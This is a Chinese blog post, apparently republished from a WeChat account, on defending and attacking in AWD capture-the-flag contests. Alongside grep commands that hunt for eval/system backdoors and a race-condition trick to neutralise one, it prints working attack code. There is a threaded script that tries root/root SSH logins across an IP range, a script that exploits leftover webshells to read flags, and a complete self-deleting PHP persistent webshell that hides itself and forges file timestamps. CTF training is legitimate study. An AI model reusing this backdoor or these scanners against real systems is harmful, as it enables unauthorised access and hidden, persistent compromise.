CTF—AWD防御起手式

admin 2023年6月6日01:27:22评论87 views字数 2914阅读9分42秒阅读模式
                     

扫码领资料

获网安教程

免费&进群

CTF—AWD防御起手式  
CTF—AWD防御起手式

Track安全社区投稿~  

千元稿费!还有保底奖励~

本文由掌控安全学生创作

——

前言

AWD (Attack With Defence),比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。

改SSH密码

官方在给出服务器密码时,很有可能是默认的,需要赶快修改自己的密码并尝试能不能登录别人的靶机
存在某些队伍忘记修改SSH弱口令,尝试使用python脚本连接获取flag

import paramiko #paramiko是一个用于做远程控制的模块
import threading #threading模块是Python里面常用的线程模块
def ssh2(ip,username,passwd,cmd):
try:
ssh=paramiko.SSHClient() #创建一个ssh对象
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #自动选择yes
ssh.connect(ip,22,username,passwd,timeout=0.1) #连接服务器
for m in cmd:
stdin,stdout,stderr=ssh.exec_command(m) #执行操作
out=stdout.readlines() #获取命令执行的结果
for o in out:
print(o)
print('%stOKn'%(ip))
ssh.close()
except:
print('%stErrorn'%(ip))
if __name__=='__main__':
cmd=['cat /flag']
username='root'
passwd='root'
threads=[10]
for i in range(149,151):
ip='192.168.75.'+str(i)
a=threading.Thread(target=ssh2,args=(ip,username,passwd,cmd))
a.start()

CTF—AWD防御起手式

命令行简单查找后门

  1. find / -name ‘*.php’ | xargs grep -n ‘eval’

  2. find / -name ‘*.php’ | xargs grep -n ‘system’

  3. find / -name ‘*.php’ | xargs grep -n ‘assert’

CTF—AWD防御起手式
描述:存在某些队伍靶机检测没有做到位,导致遗留后门,利用python脚本检测并加以利用

import requests
part_url='/shell.php?pass=system(%27cat /flag%27);'
for s in range(149,151):
try:
ip1='192.168.75.'+str(s)
ip='http://'+ip1+part_url
print(ip)
res=requests.get(url=ip,timeout=0.1)
if res.status_code!=404:
print(ip1)
with open('flag.txt','a') as f:
f.write(ip1+' '+res.text)
except Exception as e:
pass

脚本执行成功后会在当前目录下生成一个flag.txt存储flag

CTF—AWD防御起手式
或者使用bash

CTF—AWD防御起手式
命令行单独查看

CTF—AWD防御起手式

信息收集

nmap探测目标网段存活主机
使用”-r”选项表示不会随机的选择端口扫描

CTF—AWD防御起手式

CTF—AWD防御起手式

AWD不死马与克制方法

一个简单的不死马

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){<span class="label label-primary">@eval($_POST[a]);}</span> ?>';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .config.php');
usleep(5000);
}
?&gt;

在AWD比赛中,不死马对于维持权限十分有效。将该php文件上传到服务器,然后进行访问,会在该路径下循环生成名字为.config.php的不死马隐藏文件
蚁剑连接

CTF—AWD防御起手式

简单介绍一下PHP不死马代码

<?php
ignore_user_abort(true); //设置与客户机断开是否会终止脚本的执行,这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行
set_time_limit(0); //设置脚本最大执行时间,这里设置为0,即没有时间方面的限制
unlink(__FILE__); //删除文件本身,以起到隐蔽自身的作用
$file = '.config.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){<span class="label label-primary">@eval($_POST[a]);}</span> ?>'; //进行校验是为了防止自家木马被其他人利用
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
usleep(5000); //while循环中每隔usleep(5000)即写新的后门文件,system命令用于修改文件的创建时间或修改时间,因为在AWD比赛中会有队伍使用find命令查看文件的修改时间
}
?&gt;

使用条件竞争写入同名文件进行克制不死马

对于不死马,直接删除脚本是没有用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
关于opcode有:
https://www.laruence.com/2008/06/18/221.html
这里使用条件竞争写入同名文件进行克制不死马
可以看到现在.config.php文件内容仍为:

CTF—AWD防御起手式
我们上传一个test.php的php文件,注意usleep需要比不死马小,$code修改为无害内容

CTF—AWD防御起手式
上传至服务器访问
再次查看.config.php文件内容,可以看到内容已无害

CTF—AWD防御起手式

CTF—AWD防御起手式


申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.


回顾往期内容

Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

CTF—AWD防御起手式


扫码白嫖视频+工具+进群+靶场等资料


CTF—AWD防御起手式

 


CTF—AWD防御起手式

 扫码白嫖


 还有免费的配套靶场交流群

原文始发于微信公众号(掌控安全EDU):CTF—AWD防御起手式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月6日01:27:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF—AWD防御起手式http://cn-sec.com/archives/1674490.html

发表评论

匿名网友 填写信息